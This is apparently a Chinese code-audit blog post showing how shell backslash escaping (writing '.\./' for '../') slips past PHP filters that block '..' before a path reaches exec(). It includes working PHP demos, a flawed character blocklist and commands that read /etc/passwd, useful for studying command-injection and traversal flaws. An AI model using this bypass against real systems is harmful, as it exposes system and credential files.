Linux下巧用转义符来完成多阶攻击
也是前段时间代码审计:
先上代码:
if (!file_exists($fileName)){ header("Content-type: text/html; charset=utf-8"); echo "File not found!"; exit; } else { $file = fopen($fileName, "r"); Header("Content-type: application/octet-stream"); Header("Accept-Ranges: bytes"); Header("Accept-Length: ".filesize($fileName)); Header("Content-Disposition: attachment; filename=" . $name); $content = fread($file, filesize($fileName)); fclose($file); } return $content;
单单看代码很明显的任意文件下载,在代码的前面多了一行验证:
if(!FileHelper::validatePath($name)) { return ""; }
真的是断了我们的路啊,进去看看:
static function validatePath($file){ $items = explode('..', $file); if(count($items) < 2) { return true; } return false; }
分割..,目的很纯粹,害怕我们../读取到敏感数据
看下他的$filename定义吧:
$fileName = "/temp/" . $name;
说明就是只希望我们读取/temp/目录下的文件,他的文件上传,都传到了/temp目录下:
这时候你想去读取/etc/passwd根本不现实...
这时候我在思考,../真的无懈可击吗?
打开我的终端:
一步一步来:
正常查看数据:
cat /Users/Desktop/1.html
查看/etc/passwd,跨目录读取需要使用../:
cat /Users/Desktop/../../../etc/passwd
如果不让我们../怎么办?
巧用linux转义符号
\.=.
echo \'
输出单引号,重新读取:
增加转义符,再次读取:
cat /Users/Desktop/.\./.\./.\./etc/passwd
成功读取到/etc/passwd,这里继续,立马投入到fopen函数中:
说干就干:
<?php $filename="/Users/Desktop/.\./.\./.\./etc/passwd"; $file = fopen($filename,"r");
运行提示没找到文件:
而没有像终端一样执行了/etc/passwd,很显然,这里把/.\./认为是一个目录,而不是../:
后续发现,所有文件操作都把/.\./认定为目录:
写个demo:
<?php $file="/Users/phptest/.\./.\./.\./.\./.\./etc/passwd"; //这是可控点 if(!file_exists($file)){ return ""; }else{ $command = "cat $file"; exec($command,$array); print_r($array); }
其中:
.\./.\./.\./.\./.\./etc/passwd =../../../../../etc/passwd
跨目录5次
这里需要创建目录,否则走不了else:
二阶的条件:前置条件:可以自定义创建目录或者文件:
mkdir -p /Users/phptest/.\\./.\\./.\\./.\\./.\\./etc/passwd
再次运行:
因为调用了系统命令,最后.\./最后变成:
/Users/phptest/../../../../../etc/passwd
从而导致了文件读取成功了.
问题所在:php/java认为.\.是一个目录
终端命令执行:\./=../,最终获取/etc/passwd
一次利用:rce使用字符串函数过滤,而不是使用escapeshellarg和escapeshellcmd
demo:
<?php $file="/Applications/temp/";//假设这是可控点 $arrw = array("`", "$", "-","..","||","|","&","&&"); foreach ($arrw as $key => $value) { if(strstr($file,$value)){ echo "不允许使用..和其他特殊字符串"; return ""; } } $cmd = "cat $file"; var_dump($cmd); exec($cmd,$array); print_r($array);
这里命令执行过滤了一些特殊字符串,尤其关照了../,如果你想读取,只能读取/temp/临时目录下的文件,不能跨目录,但是这里调用了系统命令:
使用转义符绕过:
修改demo:
<?php $file="/Applications/temp/.\./.\./.\./.\./.\./etc/passwd";//假设这是可控点 $arrw = array("`", "$", "-","..","||","|","&","&&"); foreach ($arrw as $key => $value) { if(strstr($file,$value)){ echo "不允许使用..和其他特殊字符串"; return ""; } } $cmd = "cat $file"; var_dump($cmd); exec($cmd,$array); print_r($array);
定义我们的$file为/.\./:
再次运行代码,读取到/etc/passwd
这个特性还是有很多利用空间的,希望以后代码审计能遇到多阶攻击